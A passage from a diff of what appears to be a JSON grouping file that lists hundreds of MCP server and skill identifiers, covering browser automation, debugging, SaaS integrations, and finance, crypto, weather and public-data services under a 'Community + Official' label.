"mcp-server:chrome-devtools", + "mcp-server:chrome-secure", + "mcp-server:chrome-tabs", + "mcp-server:chrome-tools", + "mcp-server:chronos-protocol", + "mcp-server:clicks-protocol", + "mcp-server:cloudbrowser", + "mcp-server:cloudflare-browser-rendering", + "mcp-server:cloudflare-browser-rendering-playwright", + "mcp-server:codify", + "mcp-server:cognitive-dast-automation", + "mcp-server:console-automation", + "mcp-server:consolespy", + "mcp-server:cookie-jar", + "mcp-server:crucible", + "mcp-server:dap-debugger", + "mcp-server:debug-adapter-protocol-dap", + "mcp-server:debug-probe", + "mcp-server:debug-recorder", + "mcp-server:debuggai", + "mcp-server:debugium", + "mcp-server:deno-playwright", + "mcp-server:desktop-automation", + "mcp-server:desktop-automation-suite", + "mcp-server:dev-browser", + "mcp-server:development-automation-server", + "mcp-server:devops-automation", + "mcp-server:devtools-debugger", + "mcp-server:digital-defiance-debugger", + "mcp-server:document-automation", + "mcp-server:domshell", + "mcp-server:drissionpage", + "mcp-server:e2e-browser-automation", + "mcp-server:e2e-test-automation-playwright", + "mcp-server:electron-desktop-automation", + "mcp-server:element-selector", + "mcp-server:elementor", + "mcp-server:elisym-protocol", + "mcp-server:embedded-debugger-probe-rs", + "mcp-server:fabric-protocol", + "mcp-server:factor-protocol", + "mcp-server:firefox", + "mcp-server:garl-protocol", + "mcp-server:gdb", + "mcp-server:gdb-debugger", + "mcp-server:gnu-debugger-gdb", + "mcp-server:go-debugger-delve", + "mcp-server:hats-protocol", + "mcp-server:htmx-debugger", + "mcp-server:hyperbrowser", + "mcp-server:indigo-protocol", + "mcp-server:ios-simulator-automation-idb", + "mcp-server:ios-simulator-browser-automation", + "mcp-server:iot-home-automation", + "mcp-server:iphone-automation", + "mcp-server:j-link", + "mcp-server:jdi-debugger", + "mcp-server:jxbrowser", + "mcp-server:lcbro-browser-automation", + "mcp-server:leapfrog", + "mcp-server:maa-automation-assistant", + "mcp-server:make-com-automation", + "mcp-server:mathematica", + "mcp-server:mcp-monkey-chrome-browser", + "mcp-server:microsoft-edge-browser-automation", + "mcp-server:moltbrowser", + "mcp-server:node-js-debugger", + "mcp-server:notebooklm", + "mcp-server:notte-browser", + "mcp-server:nuces-flex-student-portal", + "mcp-server:nuget-package-browser", + "mcp-server:octomind-e2e-test-automation", + "mcp-server:oculo", + "mcp-server:open-talent-protocol", + "mcp-server:openbrowser", + "mcp-server:opera-omnia", + "mcp-server:ophir-protocol", + "mcp-server:otr-protocol", + "mcp-server:pagelens", + "mcp-server:pagerunner", + "mcp-server:partsmart-automation", + "mcp-server:patchright", + "mcp-server:patchright-stealth-browser", + "mcp-server:peac-protocol", + "mcp-server:pilot", + "mcp-server:plasmate", + "mcp-server:playcanvas-editor", + "mcp-server:playmcp-playwright-browser-automation", + "mcp-server:playwright", + "mcp-server:playwright-browser-automation", + "mcp-server:playwright-cdp", + "mcp-server:playwright-lighthouse", + "mcp-server:playwright-recorder", + "mcp-server:playwright-scraper", + "mcp-server:playwright-screenshot", + "mcp-server:playwright-stealth", + "mcp-server:playwright-wizard", + "mcp-server:playwrightess-playwright", + "mcp-server:playwriter", + "mcp-server:popup", + "mcp-server:popup-dialog", + "mcp-server:powerpoint-automation", + "mcp-server:puppeteer", + "mcp-server:puppeteer-browser-automation", + "mcp-server:puppeteer-extra-stealth", + "mcp-server:puppeteer-linux", + "mcp-server:puppeteer-real-browser", + "mcp-server:pyats-network-automation", + "mcp-server:pyppeteer-browser-automation", + "mcp-server:python-debugger", + "mcp-server:radio-browser", + "mcp-server:rare-protocol", + "mcp-server:raycast-automation", + "mcp-server:real-browser", + "mcp-server:rotifer-protocol", + "mcp-server:rove", + "mcp-server:rr-reverse-debugger", + "mcp-server:rubric-protocol", + "mcp-server:ruishu", + "mcp-server:runbook-ai-browser", + "mcp-server:ruyipage-browser-automation", + "mcp-server:saas-browser", + "mcp-server:safari-automation", + "mcp-server:safari-devtools", + "mcp-server:saladcloud-mcproxy", + "mcp-server:scenic-gui-automation", + "mcp-server:schelling-protocol", + "mcp-server:scrapli-network-automation", + "mcp-server:searxng-browser", + "mcp-server:selenium", + "mcp-server:selenium-webdriver", + "mcp-server:selenix-by-markmircea", + "mcp-server:shaft", + "mcp-server:showrun", + "mcp-server:simstim", + "mcp-server:sncro-browser-debugger", + "mcp-server:spa-reader", + "mcp-server:spheron-protocol", + "mcp-server:stealth-agent-browser", + "mcp-server:stealth-browser", + "mcp-server:steel-puppeteer", + "mcp-server:story-protocol", + "mcp-server:uber-eats-automation", + "mcp-server:uidriver", + "mcp-server:undetected-chromedriver", + "mcp-server:unified-offer-protocol", + "mcp-server:venice-browser", + "mcp-server:vessel-browser", + "mcp-server:voyp-call-automation", + "mcp-server:vscode-debugger", + "mcp-server:web-browser", + "mcp-server:web-browser-playwright", + "mcp-server:web-llm-playwright", + "mcp-server:webdriverio", + "mcp-server:webmcp-sdk", + "mcp-server:webscout", + "mcp-server:windows-debugger", + "mcp-server:wolfram-alpha", + "mcp-server:wolfram-mathematica", + "mcp-server:wolframalpha", + "mcp-server:x-browser", + "mcp-server:xaip-protocol", + "mcp-server:yc-css-ui", + "mcp-server:yetibrowser", + "mcp-server:zen-browser-automation", + "skill:activecampaign-automation", + "skill:add-sub", + "skill:amplitude-automation", + "skill:bamboohr-automation", + "skill:basecamp-automation", + "skill:bitbucket-automation", + "skill:box-automation", + "skill:brevo-automation", + "skill:cal-com-automation", + "skill:calendly-automation", + "skill:canva-automation", + "skill:chrome-mcp-troubleshooting", + "skill:claude-in-chrome-troubleshooting", + "skill:clickup-automation", + "skill:close-automation", + "skill:coda-automation", + "skill:confluence-automation", + "skill:convertkit-automation", + "skill:datadog-automation", + "skill:discord-automation", + "skill:docusign-automation", + "skill:dropbox-automation", + "skill:figma-automation", + "skill:freshdesk-automation", + "skill:freshservice-automation", + "skill:gitlab-automation", + "skill:gmail-automation", + "skill:google-analytics-automation", + "skill:googlesheets-automation", + "skill:hubspot-automation", + "skill:instagram-automation", + "skill:intercom-automation", + "skill:jira-automation", + "skill:klaviyo-automation", + "skill:linear-automation", + "skill:list-subs", + "skill:mailchimp-automation", + "skill:microsoft-teams-automation", + "skill:miro-automation", + "skill:mixpanel-automation", + "skill:monday-automation", + "skill:notion-automation", + "skill:one-drive-automation", + "skill:outlook-automation", + "skill:outlook-calendar-automation", + "skill:pagerduty-automation", + "skill:pause-subs", + "skill:pipedrive-automation", + "skill:posthog-automation", + "skill:postmark-automation", + "skill:reddit-automation", + "skill:remove-sub", + "skill:render-automation", + "skill:salesforce-automation", + "skill:segment-automation", + "skill:sendgrid-automation", + "skill:sentry-automation", + "skill:slack-automation", + "skill:stripe-automation", + "skill:supabase-automation", + "skill:telegram-automation", + "skill:tiktok-automation", + "skill:todoist-automation", + "skill:trello-automation", + "skill:twitter-automation", + "skill:unpause-subs", + "skill:vercel-automation", + "skill:webflow-automation", + "skill:whatsapp-automation", + "skill:wrike-automation", + "skill:zendesk-automation", + "skill:zoho-crm-automation", + "skill:zoom-automation" + ] + }, + "3": { + "label": "Community + Official", + "members": [ + "mcp-server:12306-railway", + "mcp-server:a-share-financial-data-baostock", + "mcp-server:a-share-stock-market", + "mcp-server:a-share-value", + "mcp-server:a-stock", + "mcp-server:aarna-by-junct", + "mcp-server:aave-by-junct", + "mcp-server:aave-liquidation", + "mcp-server:accuweather", + "mcp-server:adamik-blockchain-and-ai", + "mcp-server:address-validator", + "mcp-server:adf-cost-intelligence", + "mcp-server:adfin-financial-management", + "mcp-server:aeat-spanish-tax-data", + "mcp-server:aemet-spain-s-meteorological-agency", + "mcp-server:agent-bank", + "mcp-server:agentek-cryptocurrency", + "mcp-server:ai-compliance-monitor", + "mcp-server:airport-pickups-london", + "mcp-server:akshare-chinese-financial-data", + "mcp-server:akshare-chinese-stock-market", + "mcp-server:akshare-financial-data", + "mcp-server:aktools-pro-by-tchivs", + "mcp-server:alby-bitcoin-payments", + "mcp-server:alchemy-sdk", + "mcp-server:allotrope-lab-data", + "mcp-server:alpaca-trading", + "mcp-server:alpha-vantage", + "mcp-server:alpha-vantage-financial-data", + "mcp-server:alphavantage", + "mcp-server:alphavantage-trader", + "mcp-server:altfins-crypto-analytics", + "mcp-server:andru-revenue-intelligence", + "mcp-server:ankr-blockchain-data", + "mcp-server:ansvar-uk-environmental-compliance", + "mcp-server:ansvar-us-regulations", + "mcp-server:antientropy-resource-portal", + "mcp-server:apache-airflow-bearer-token", + "mcp-server:aqua-wallet", + "mcp-server:arcadia-finance", + "mcp-server:aria-validator", + "mcp-server:armor-wallet", + "mcp-server:asset-price", + "mcp-server:aster-finance", + "mcp-server:atars", + "mcp-server:atlan-data-catalog", + "mcp-server:atom-pricing-intelligence", + "mcp-server:au-business-intelligence", + "mcp-server:australian-bureau-of-statistics", + "mcp-server:australian-economics", + "mcp-server:austrian-legal-information-ris", + "mcp-server:autoform-slovensko-digital", + "mcp-server:awardopedia", + "mcp-server:back-office-td", + "mcp-server:bags-fm", + "mcp-server:bamwor-world-data", + "mcp-server:bank", + "mcp-server:bank-negara-malaysia", + "mcp-server:baozi-prediction-markets", + "mcp-server:bart-san-francisco-transit", + "mcp-server:base-blockchain", + "mcp-server:base-defi-yield-data", + "mcp-server:base-multi-wallet", + "mcp-server:base-token-sniper", + "mcp-server:base-wallet", + "mcp-server:basis-stablecoin-risk", + "mcp-server:batchdata-real-estate", + "mcp-server:bay-area-transit", + "mcp-server:bcrp-peru-central-reserve-bank", + "mcp-server:bcs-broker", + "mcp-server:beat-and-raise-sec-filings", + "mcp-server:beefy-finance-by-junct", + "mcp-server:begagnad-swedish-second-hand-marketplaces", + "mcp-server:behavioral-prediction", + "mcp-server:belgium-open-data", + "mcp-server:bellwether-metrics", + "mcp-server:beneat", + "mcp-server:berlin-open-data", + "mcp-server:berlin-services", + "mcp-server:berlin-transport", + "mcp-server:biblioth-que-nationale-de-france-gallica", + "mcp-server:binance", + "mcp-server:binance-alpha", + "mcp-server:binance-bitcoin-market-data", + "mcp-server:binance-by-junct", + "mcp-server:binance-futures", + "mcp-server:binance-smart-chain", + "mcp-server:binance-spot-trading", + "mcp-server:binance-us", + "mcp-server:bitcoin", + "mcp-server:bitcoin-coingecko", + "mcp-server:bitcoin-op-return", + "mcp-server:bitcoin-signer", + "mcp-server:bitcoin-sv-wallet", + "mcp-server:bitget-trading", + "mcp-server:bitso", + "mcp-server:blockchain-com-data-and-query", + "mcp-server:blockchain-signer", + "mcp-server:blockscout-by-junct", + "mcp-server:blue-gamma", + "mcp-server:bogus-fake-data-generator", + "mcp-server:bostrom-blockchain", + "mcp-server:brazilian-central-bank-bcb", + "mcp-server:brazilian-cep", + "mcp-server:brazilian-icd-10-cid-10", + "mcp-server:brazilian-legal-precedents", + "mcp-server:brazilian-senate", + "mcp-server:bright-data", + "mcp-server:broker-safety", + "mcp-server:bsc-blockchain", + "mcp-server:btc", + "mcp-server:buda-exchange", + "mcp-server:bybit", + "mcp-server:bybit-announcements", + "mcp-server:bybit-crypto-exchange", + "mcp-server:caiyun-weather", + "mcp-server:caltrain", + "mcp-server:carbon-defi-trading", + "mcp-server:caselaw", + "mcp-server:cat-facts", + "mcp-server:cbu-currency", + "mcp-server:ccxt", + "mcp-server:ccxt-crypto-trading", + "mcp-server:ccxt-cryptocurrency-exchange", + "mcp-server:cdc-mmwr-reports-by-olyport", + "mcp-server:central-bank-of-nigeria", + "mcp-server:central-bank-of-russia", + "mcp-server:central-intelligence", + "mcp-server:cerebra-legal", + "mcp-server:ch-environmental-compliance", + "mcp-server:ch-farm-planning", + "mcp-server:ch-farm-safety", + "mcp-server:ch-opencaselaw-swiss-caselaw", + "mcp-server:chainflip-broker", + "mcp-server:chainlink-by-junct", + "mcp-server:chainpulse", + "mcp-server:chia-health", + "mcp-server:china-national-bureau-of-statistics", + "mcp-server:china-stock", + "mcp-server:chinese-stock-market-data-akshare-tushare", + "mcp-server:chromia-wallet", + "mcp-server:chronos-stellar-blockchain", + "mcp-server:ci-1t-prediction-stability", + "mcp-server:cia-world-factbook", + "mcp-server:cimri-price-investigator", + "mcp-server:cipher-x402", + "mcp-server:cisa-threat-intelligence", + "mcp-server:cisco-support-apis", + "mcp-server:clawswap", + "mcp-server:climate-data", + "mcp-server:climatetriage", + "mcp-server:clinicaltrials-gov", + "mcp-server:cochrane-medical-reviews-by-olyport", + "mcp-server:coin-railz", + "mcp-server:coinapi-and-finfeedapi", + "mcp-server:coinapi-exchange-rates-historical", + "mcp-server:coinapi-indexes", + "mcp-server:coinapi-real-time-exchange-rates", + "mcp-server:coinbase-by-junct", + "mcp-server:coinbase-commerce", + "mcp-server:coincap", + "mcp-server:coingecko", + "mcp-server:coingecko-by-junct", + "mcp-server:coinmarket", + "mcp-server:coinmarketcap", + "mcp-server:coinmarketcap-fear-greed-index", + "mcp-server:coinpaprika", + "mcp-server:coinpilot-aptos-dca", + "mcp-server:coinstats", + "mcp-server:coinversaa", + "mcp-server:coinvoyage", + "mcp-server:college-football-data", + "mcp-server:college-scorecard-by-olyport", + "mcp-server:colombia-geographic-data", + "mcp-server:colombo-stock-exchange", + "mcp-server:comad-world", + "mcp-server:company-ethics-information-boikot", + "mcp-server:company-gibraltar", + "mcp-server:company-lens", + "mcp-server:compliance-trestle", + "mcp-server:compound-by-junct", + "mcp-server:congress-gov", + "mcp-server:congress-gov-by-cyanheads", + "mcp-server:consumer-financial-protection-bureau-complaints", + "mcp-server:cortex-threat-intelligence", + "mcp-server:cosmwasm-blockchain", + "mcp-server:cotrader", + "mcp-server:countries", + "mcp-server:covid-19-statistics", + "mcp-server:crew-risk", + "mcp-server:crossfin", + "mcp-server:crypto", + "mcp-server:crypto-apis-address-history", + "mcp-server:crypto-apis-address-latest", + "mcp-server:crypto-apis-block-data", + "mcp-server:crypto-apis-blockchain-events", + "mcp-server:crypto-apis-blockchain-fees", + "mcp-server:crypto-apis-broadcast", + "mcp-server:crypto-apis-contracts", + "mcp-server:crypto-apis-hd-wallet", + "mcp-server:crypto-apis-market-data", + "mcp-server:crypto-apis-prepare-transactions", + "mcp-server:crypto-apis-signer", + "mcp-server:crypto-apis-simulate", + "mcp-server:crypto-apis-transactions-data", + "mcp-server:crypto-apis-utils", + "mcp-server:crypto-bytes", + "mcp-server:crypto-data", + "mcp-server:crypto-exchange", + "mcp-server:crypto-fear-greed-index", + "mcp-server:crypto-indicators", + "mcp-server:crypto-market-data", + "mcp-server:crypto-news", + "mcp-server:crypto-news-feed", + "mcp-server:crypto-orderbook", + "mcp-server:crypto-price", + "mcp-server:crypto-price-coincap", + "mcp-server:crypto-prices", + "mcp-server:crypto-pro-apis-defillama-coingecko-arkham", + "mcp-server:crypto-rss", + "mcp-server:crypto-sentiment-santiment", + "mcp-server:crypto-signals", + "mcp-server:crypto-stocks", + "mcp-server:crypto-trading", + "mcp-server:cryptoanalysis-coinpaprika", + "mcp-server:cryptocurrency-technical-analysis", + "mcp-server:cryptography", + "mcp-server:cryptoiz", + "mcp-server:cryptopanic", + "mcp-server:cryptopolitan", + "mcp-server:cryptorefills", + "mcp-server:cryptoweather", + "mcp-server:ctp-chinese-futures-trading", + "mcp-server:currency-conversion", + "mcp-server:currency-converter", + "mcp-server:curve-finance-by-junct", + "mcp-server:cve-security-intelligence", + "mcp-server:cz-agents", + "mcp-server:da24-moving-service", + "mcp-server:daedalmap-geographic-data", + "mcp-server:danish-standards", + "mcp-server:daobrew-wellness", + "mcp-server:dappier-real-time-data-search", + "mcp-server:data-converter", + "mcp-server:data-exploration", + "mcp-server:data-explorer", + "mcp-server:data-extractor", + "mcp-server:data-gouv-fr-ign", + "mcp-server:data-gov", + "mcp-server:data-gov-my", + "mcp-server:data-visualization", + "mcp-server:data-wrangler-polars", + "mcp-server:defeatbeta", + "mcp-server:defi-trading-agent", + "mcp-server:defi-yields", + "mcp-server:deriv", + "mcp-server:deutsche-bahn-timetable", + "mcp-server:deutscher-wetterdienst", + "mcp-server:dex-k-line-geckoterminal", + "mcp-server:dex-quotes", + "mcp-server:dexpaprika", + "mcp-server:dhan-trading", + "mcp-server:dingdawg-compliance", + "mcp-server:dingdawg-finance", + "mcp-server:dingdawg-healthcare", + "mcp-server:disaster-alert-center", + "mcp-server:disease-statistics", + "mcp-server:dnf-gold-price-weather", + "mcp-server:doe-energy-information-by-olyport", + "mcp-server:donn-es-qu-bec", + "mcp-server:dynamics-365-finance-operations", + "mcp-server:e-gonghun-korean-military-service-records", + "mcp-server:e-gov-japanese-legal-database", + "mcp-server:earningsfeed", + "mcp-server:ecb-data", + "mcp-server:econdata", + "mcp-server:edinet-financial-disclosures", + "mcp-server:edinet-financial-disclosures-morinosei", + "mcp-server:education-data-api", + "mcp-server:eigenlayer-by-junct", + "mcp-server:engineer-your-data", + "mcp-server:ens-by-junct", + "mcp-server:eodhd", + "mcp-server:eruditepay-blockchain-intelligence", + "mcp-server:esg-data", + "mcp-server:etf-flow-coinglass", + "mcp-server:ethereum-rpc", + "mcp-server:ethereum-toolkit", + "mcp-server:ethereum-validator", + "mcp-server:ethereum-wallet-evm", + "mcp-server:ethers-wallet", + "mcp-server:etoro-portfolio", + "mcp-server:eu-finance", + "mcp-server:eu-regulations", + "mcp-server:euler-by-junct", + "mcp-server:eulerian-marketing-platform", + "mcp-server:european-public-transport", + "mcp-server:european-trains", + "mcp-server:evlek", + "mcp-server:evm-blockchain", + "mcp-server:evm-signer", + "mcp-server:evm-wallet-signer", + "mcp-server:exchange", + "mcp-server:exchange-rate", + "mcp-server:exploit-intelligence-platform", + "mcp-server:exsolvae-talent-intelligence", + "mcp-server:ezbiz-business-intelligence", + "mcp-server:facture-lectronique-france", + "mcp-server:fastmcp-supply-chain-optimizer", + "mcp-server:fbi-nibrs-crime-data", + "mcp-server:fear-greed-index", + "mcp-server:federal-compass", + "mcp-server:feedoracle-compliance", + "mcp-server:feedoracle-macro", + "mcp-server:feedoracle-stablecoin-risk", + "mcp-server:fema-disasters-by-olyport", + "mcp-server:fhir", + "mcp-server:fhir-healthcare", + "mcp-server:fhir-healthcare-data", + "mcp-server:fhir-validator", + "mcp-server:fia-signals", + "mcp-server:finance", + "mcp-server:finance-control", + "mcp-server:finance-data", + "mcp-server:finance-market-data", + "mcp-server:finance-simulator", + "mcp-server:finance-tools", + "mcp-server:financekit", + "mcp-server:financial-datasets", + "mcp-server:financial-hub", + "mcp-server:financial-modeling-prep", + "mcp-server:findata-by-sapph1re", + "mcp-server:finfeedapi-fx-historical", + "mcp-server:finfeedapi-fx-realtime", + "mcp-server:finfeedapi-stock-api", + "mcp-server:finhay", + "mcp-server:finlab-ai", + "mcp-server:flashalpha", + "mcp-server:flood-warning", + "mcp-server:flow-blockchain", + "mcp-server:foehn", + "mcp-server:folio-legal-ontology", + "mcp-server:forex-gpt", + "mcp-server:formula-1-data", + "mcp-server:formula-one-racing-data-fastf1", + "mcp-server:france-life", + "mcp-server:frankfurter", + "mcp-server:fred", + "mcp-server:fred-economic-data", + "mcp-server:fred-federal-reserve-economic-data", + "mcp-server:fred-macroeconomic-data", + "mcp-server:free-usdc-transfer-base", + "mcp-server:french-legal-research", + "mcp-server:french-tax", + "mcp-server:fugle-masterlink-taiwan-stock-market", + "mcp-server:fugle-taiwan-stock-market-data", + "mcp-server:funding-rate-arbitrage-scanner", + "mcp-server:gdpr-shift-left-compliance", + "mcp-server:genesis-world", + "mcp-server:getoutpost", + "mcp-server:gis-data-conversion", + "mcp-server:gmx-by-junct", + "mcp-server:gnss-orbit-data", + "mcp-server:godavaii-health-ai", + "mcp-server:gongmun-doctor", + "mcp-server:good-meta-intelligence", + "mcp-server:gov-data", + "mcp-server:govern-catalunya", + "mcp-server:government-grants", + "mcp-server:govping", + "mcp-server:govrider", + "mcp-server:govtribe", + "mcp-server:gph-healthcare-vendors", + "mcp-server:grappleai-weather", + "mcp-server:groww", + "mcp-server:guessmarket", + "mcp-server:hangul-word-processor", + "mcp-server:harvey-intel", + "mcp-server:hashlock-otc", + "mcp-server:health-reminder", + "mcp-server:healthcare-data-hub", + "mcp-server:hefeng-weather", + "mcp-server:helium", + "mcp-server:helius-solana-blockchain", + "mcp-server:himalayas-remote-jobs", + "mcp-server:hive-crypto", + "mcp-server:hk-financial-intelligence", + "mcp-server:hmda-mortgage-data-by-olyport", + "mcp-server:hong-kong-bus", + "mcp-server:hong-kong-creative-goods-trade", + "mcp-server:hong-kong-immigration-department", + "mcp-server:hong-kong-transportation", + "mcp-server:howrisky", + "mcp-server:hrsa-health-resources-by-olyport", + "mcp-server:hubble-ai-solana", + "mcp-server:hummingbot", + "mcp-server:hwp-korean-word-processor", + "mcp-server:hyperliquid", + "mcp-server:hyperliquid-funding", + "mcp-server:hyperliquid-perp-market-data", + "mcp-server:hyperliquid-portfolio", + "mcp-server:hyperliquid-spot", + "mcp-server:hyperliquid-vaults", + "mcp-server:hyperliquid-whales", + "mcp-server:iacr-cryptology-eprint-archive", + "mcp-server:ibex-35", + "mcp-server:icp-intelligence", + "mcp-server:imf-data", + "mcp-server:incomebot", + "mcp-server:indian-stock-exchange", + "mcp-server:indian-stock-market", + "mcp-server:indian-stocks", + "mcp-server:indonesia-civic-stack", + "mcp-server:intelligence-aeternum", + "mcp-server:investbuddy", + "mcp-server:irs-990-nonprofit-data", + "mcp-server:irs-taxpayer", + "mcp-server:is-k01-synthetic-health-data", + "mcp-server:iskra-reputation", + "mcp-server:israel-statistics-cbs", + "mcp-server:israeli-bank-scrapers", + "mcp-server:israeli-land-authority", + "mcp-server:italy-open-data", + "mcp-server:japan-public-data", + "mcp-server:japan-road-traffic-law", + "mcp-server:japan-weather", + "mcp-server:japanese-labor-law", + "mcp-server:japanese-tax-law", + "mcp-server:jarvis-notion-finance", + "mcp-server:job-data-lake", + "mcp-server:job-stock-analysis-nse", + "mcp-server:joomil", + "mcp-server:jr-east-train-delay", + "mcp-server:junct-coinmarketcap", + "mcp-server:junct-etherscan", + "mcp-server:junct-hyperliquid", + "mcp-server:junct-uniswap", + "mcp-server:junct-wormhole", + "mcp-server:junto", + "mcp-server:jupiter", + "mcp-server:jupiter-dex-by-junct", + "mcp-server:jupiter-quotes", + "mcp-server:jupiter-ultra", + "mcp-server:jupyter-earth-data", + "mcp-server:just-happened-stock-moves", + "mcp-server:jweather", + "mcp-server:kabu-stock-market", + "mcp-server:kakitu", + "mcp-server:kalshi-by-quantish", + "mcp-server:kalshi-prediction-markets", + "mcp-server:kaspersky-threat-intelligence", + "mcp-server:keycloak-admin", + "mcp-server:keycloak-fortytwo", + "mcp-server:keycloak-source-navigator", + "mcp-server:kirha-crypto-gateway", + "mcp-server:kite-trading", + "mcp-server:kiwoom-securities", + "mcp-server:kleros-court", + "mcp-server:knmi-weather", + "mcp-server:koko-finance", + "mcp-server:kong-konnect", + "mcp-server:kordoc", + "mcp-server:korea-public-official-assets", + "mcp-server:korean-agriculture-market", + "mcp-server:korean-dart", + "mcp-server:korean-independence-merit-records", + "mcp-server:korean-law", + "mcp-server:korean-mail", + "mcp-server:korean-national-assembly", + "mcp-server:korean-news-hub", + "mcp-server:korean-open-data-portal", + "mcp-server:korean-personal-finance", + "mcp-server:korean-public-data", + "mcp-server:korean-social-welfare-settlement", + "mcp-server:korean-spell-checker-naver", + "mcp-server:korean-standard-dictionary", + "mcp-server:korean-stock-market-dart-krx", + "mcp-server:korean-stock-market-data", + "mcp-server:korean-university-regulations", + "mcp-server:korean-weather", + "mcp-server:kospi-kosdaq-stock-data", + "mcp-server:kr-crypto-intelligence", + "mcp-server:kyonis-compliance-by-contactkyonis-droid", + "mcp-server:landiwetter", + "mcp-server:langcare-fhir", + "mcp-server:law-assistant", + "mcp-server:ledger", + "mcp-server:legal-data-hunter", + "mcp-server:legal-document-analyzer", + "mcp-server:legal-research", + "mcp-server:legalmcp", + "mcp-server:legifrance", + "mcp-server:letsbonk-solana-token-launcher", + "mcp-server:lever-financial-planning", + "mcp-server:lexsocket-tenders", + "mcp-server:lgpd-compliance", + "mcp-server:license-compliance", + "mcp-server:lician-financial-data", + "mcp-server:lido-by-junct", + "mcp-server:lightning-wallet", + "mcp-server:lightyear-cryptopunks", + "mcp-server:limitless-exchange-by-quantish", + "mcp-server:linkedin-data-api", + "mcp-server:liquidiction", + "mcp-server:llmquant-data", + "mcp-server:loc8n-geographic-data", + "mcp-server:locator-intelligence", + "mcp-server:logbook-of-the-world", + "mcp-server:lsd-web-data-extraction", + "mcp-server:lumenx-legal-spend-intelligence", + "mcp-server:lunarcrush", + "mcp-server:luno", + "mcp-server:luzia", + "mcp-server:maker-by-junct", + "mcp-server:malaysia-government-data-data-gov-my", + "mcp-server:malaysia-open-data", + "mcp-server:malloryai-intelligence", + "mcp-server:malwarepatrol-threat-intelligence", + "mcp-server:manifold-markets", + "mcp-server:mansa-african-markets", + "mcp-server:marbella-report", + "mcp-server:marketgenius", + "mcp-server:marmot-data-catalog", + "mcp-server:maverick-financial-analysis", + "mcp-server:mcdonald-s-china", + "mcp-server:measure-space", + "mcp-server:medical-apis", + "mcp-server:medical-calculator", + "mcp-server:megalaunch", + "mcp-server:mercado-bitcoin", + "mcp-server:mercury", + "mcp-server:merx", + "mcp-server:meson-cross-chain-transfer", + "mcp-server:metamask-blockchain-toolkit", + "mcp-server:metatrader-5", + "mcp-server:meteoswiss", + "mcp-server:metrichub-quant-by-clk1st", + "mcp-server:mexico-city-open-data", + "mcp-server:mftool", + "mcp-server:minecraft-world-data", + "mcp-server:mini-pricer", + "mcp-server:mint-club-v2", + "mcp-server:mirelia-patent-market", + "mcp-server:mo-bus", + "mcp-server:mock-data-generator", + "mcp-server:momentum-trading", + "mcp-server:monster-hunter-world", + "mcp-server:monte-carlo-data", + "mcp-server:montewalk-quantitative-trading", + "mcp-server:mrc-data", + "mcp-server:multi-tool-suite-duckduckgo-weather-memory", + "mcp-server:munispot", + "mcp-server:nagoya-bus", + "mcp-server:nannykeeper", + "mcp-server:nano-currency", + "mcp-server:nansen", + "mcp-server:nasa-earthdata", + "mcp-server:national-bank-of-belgium-sdmx", + "mcp-server:national-park-service", + "mcp-server:national-parks-service", + "mcp-server:national-weather-service", + "mcp-server:near-blockchain", + "mcp-server:near-solana-blockchain-gateway", + "mcp-server:neleus", + "mcp-server:neo-n3-blockchain", + "mcp-server:neural-trader", + "mcp-server:new-caledonia-open-data", + "mcp-server:newsletter-commerce-intelligence", + "mcp-server:nexonco-civic-precision-oncology", + "mcp-server:nexus-data-processor", + "mcp-server:nfl-data", + "mcp-server:nfse-nacional", + "mcp-server:nhtsa-vehicle-safety", + "mcp-server:nifc-wildfire-data", + "mcp-server:ninjatrader", + "mcp-server:noaa-climate-data-by-olyport", + "mcp-server:noaa-co-ops", + "mcp-server:noaa-tides-and-currents", + "mcp-server:nobitex-cryptocurrency-market-data", + "mcp-server:noesis", + "mcp-server:nordic-financial", + "mcp-server:norman-finance", + "mcp-server:norwegian-standards", + "mcp-server:nory-x402", + "mcp-server:ns-travel-information", + "mcp-server:nse-bse-india-stock-market", + "mcp-server:nws-weather", + "mcp-server:nws-weather-alerts", + "mcp-server:nyc-subway", + "mcp-server:o-net-occupational-data", + "mcp-server:obol", + "mcp-server:oilpriceapi", + "mcp-server:okx", + "mcp-server:okx-cryptocurrency", + "mcp-server:okx-dex", + "mcp-server:olyport-bea", + "mcp-server:olyport-bls-employment-wages", + "mcp-server:olyport-cdc-places", + "mcp-server:olyport-cdc-svi", + "mcp-server:olyport-cdc-wonder", + "mcp-server:olyport-census-acs", + "mcp-server:olyport-census-cbp", + "mcp-server:olyport-cms-medicare", + "mcp-server:olyport-epa", + "mcp-server:olyport-epa-ejscreen", + "mcp-server:olyport-fbi-crime", + "mcp-server:olyport-fcc-broadband", + "mcp-server:olyport-fdic-bankfind", + "mcp-server:olyport-fred", + "mcp-server:olyport-hud-housing", + "mcp-server:olyport-nces-education", + "mcp-server:olyport-pubmed", + "mcp-server:olyport-usda-food", + "mcp-server:on-this-day", + "mcp-server:op-gg-gaming-data", + "mcp-server:oparl", + "mcp-server:open-accountants", + "mcp-server:open-finance-brasil", + "mcp-server:open-meteo-weather", + "mcp-server:open-primitive", + "mcp-server:opendart", + "mcp-server:opendata-cat", + "mcp-server:opendirectories-business-data", + "mcp-server:openfec-campaign-finance", + "mcp-server:openmm", + "mcp-server:openpump", + "mcp-server:opentk-dutch-parliament", + "mcp-server:openweather", + "mcp-server:openweathermap", + "mcp-server:optionsflow-yahoo-finance", + "mcp-server:oracle42-intelligence", + "mcp-server:oraichain-blockchain", + "mcp-server:orderbook-depth", + "mcp-server:outrun", + "mcp-server:owa-exchange", + "mcp-server:pandas-data-analysis", + "mcp-server:pandas-data-tools", + "mcp-server:paradex", + "mcp-server:patent-connector", + "mcp-server:payram-helper", + "mcp-server:perpetual-funding-rates", + "mcp-server:personal-finance-calculators", + "mcp-server:pexbot", + "mcp-server:philippines-civic-data", + "mcp-server:phone-validation", + "mcp-server:phos-labs-commerce-intelligence", + "mcp-server:pipeworx-geo", + "mcp-server:pipeworx-science", + "mcp-server:pipeworx-sec", + "mcp-server:pipeworx-spacex", + "mcp-server:pipeworx-sports", + "mcp-server:pipeworx-stackexchange", + "mcp-server:pipeworx-timezone", + "mcp-server:pipeworx-universities", + "mcp-server:pipeworx-videogames", + "mcp-server:pipeworx-weather", + "mcp-server:pipeworx-wger", + "mcp-server:pipeworx-wikifeed", + "mcp-server:pipeworx-wikipedia", + "mcp-server:pipeworx-world-bank", + "mcp-server:pje-brazilian-electronic-court-system", + "mcp-server:pmxt", + "mcp-server:pok-mon-data", + "mcp-server:polish-sejm-legal-acts", + "mcp-server:polygon-blockchain", + "mcp-server:polygon-io", + "mcp-server:polymarket", + "mcp-server:polymarket-by-quantish", + 